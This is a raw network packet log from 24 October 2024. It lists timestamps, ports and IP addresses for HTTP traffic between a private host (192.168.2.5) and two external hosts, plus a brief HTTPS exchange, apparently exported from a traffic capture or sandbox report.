Oct 24, 2024 08:38:31.278294086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.278331995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.278347015 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.278364897 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.314604044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.314620972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.314634085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.314646959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.314660072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.314673901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.314721107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.318224907 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.318245888 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.318259001 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.318272114 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.318290949 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.318306923 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350186110 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350227118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350256920 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350277901 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350280046 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350313902 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350327015 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350351095 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350363016 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350385904 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350394964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350423098 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350428104 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350465059 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350497961 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350517035 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350517035 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350531101 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350541115 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350573063 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350682974 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350728989 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350764036 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350799084 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350833893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350848913 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350848913 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350867033 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350878954 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350903034 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.350910902 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.350941896 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.351138115 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.351174116 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:31.351186991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.351211071 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:31.392179966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392210960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392230034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392266035 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392266989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392307997 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392316103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392352104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392493963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392507076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392518044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392529011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.392539978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392554045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.392595053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.393066883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.393078089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.393096924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.393106937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.393115044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.393120050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.393126011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.393151045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.393183947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.430206060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.430243969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.430262089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.430296898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.430304050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.430340052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.430341959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.430376053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.430377960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.430416107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507474899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507529974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507558107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507560015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507581949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507594109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507606030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507642984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507683992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507729053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507826090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507859945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507882118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507904053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.507913113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.507955074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.508325100 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.508358955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.508379936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.508403063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.508409023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.508450031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.508459091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.508495092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.508502960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.508539915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.545308113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.545366049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.545370102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.545401096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.545413971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.545438051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.545444012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.545470953 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.545475006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.545510054 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.578872919 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:31.578905106 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:31.578963995 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:31.580182076 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:31.580198050 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:31.623210907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623228073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623250961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623265982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623281002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623296976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623429060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623429060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623429060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623655081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623706102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623706102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623722076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623739004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623747110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623763084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623773098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623780966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.623785973 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.623796940 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.624116898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.660363913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660378933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660415888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660430908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660437107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.660449028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660466909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.660475016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.660489082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.660527945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738107920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738125086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738138914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738156080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738172054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738181114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738234043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738239050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738265038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738279104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738284111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738301992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738325119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738694906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738711119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738730907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738734961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738750935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738755941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738769054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.738769054 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738811970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.738838911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.739372969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.739408970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.739420891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.739442110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.739578962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.739593983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.739614010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.739629984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775538921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775605917 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775624037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775640965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775656939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775662899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775676966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775697947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775722027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775752068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.775760889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.775785923 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853507996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853562117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853563070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853580952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853595972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853601933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853617907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853641033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853682041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853738070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853753090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853754044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853779078 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853780031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853786945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853796005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853812933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.853823900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.853849888 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.854629993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.854655981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.854679108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.854680061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.854696035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.854703903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.854716063 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.854741096 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.890651941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.890676022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.890721083 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.890738964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.890743971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.890754938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.890772104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.890789986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.890794992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.890821934 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.891072035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.891098022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.891113043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.891119957 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.891139030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.891160011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968595982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968611002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968669891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968673944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968691111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968715906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968730927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968746901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.968909025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968909025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968909025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968909025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.968909025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969360113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969374895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969388962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969439030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969482899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969674110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969727993 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969803095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969818115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969834089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969850063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:31.969857931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969866991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:31.969945908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.005856991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.005872011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.005894899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.005908966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.005924940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.005945921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.006110907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.006191969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.006213903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.006241083 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.006284952 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.006402969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.006417036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.006453037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.006469011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.083714008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083729029 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083825111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.083869934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083885908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083901882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083914042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.083918095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083935976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.083950996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.083976984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084605932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084620953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084636927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084687948 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084687948 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084871054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084903955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084923983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084928036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084944963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084950924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084959984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.084973097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.084988117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.085005045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.120929003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.120943069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121009111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.121027946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121043921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121058941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121068954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.121107101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.121373892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121387959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121438026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.121512890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121527910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121541977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.121562004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.121591091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.198983908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.198997974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199008942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199063063 CEST	61014	80	192.168.2.5	185.215.113.37
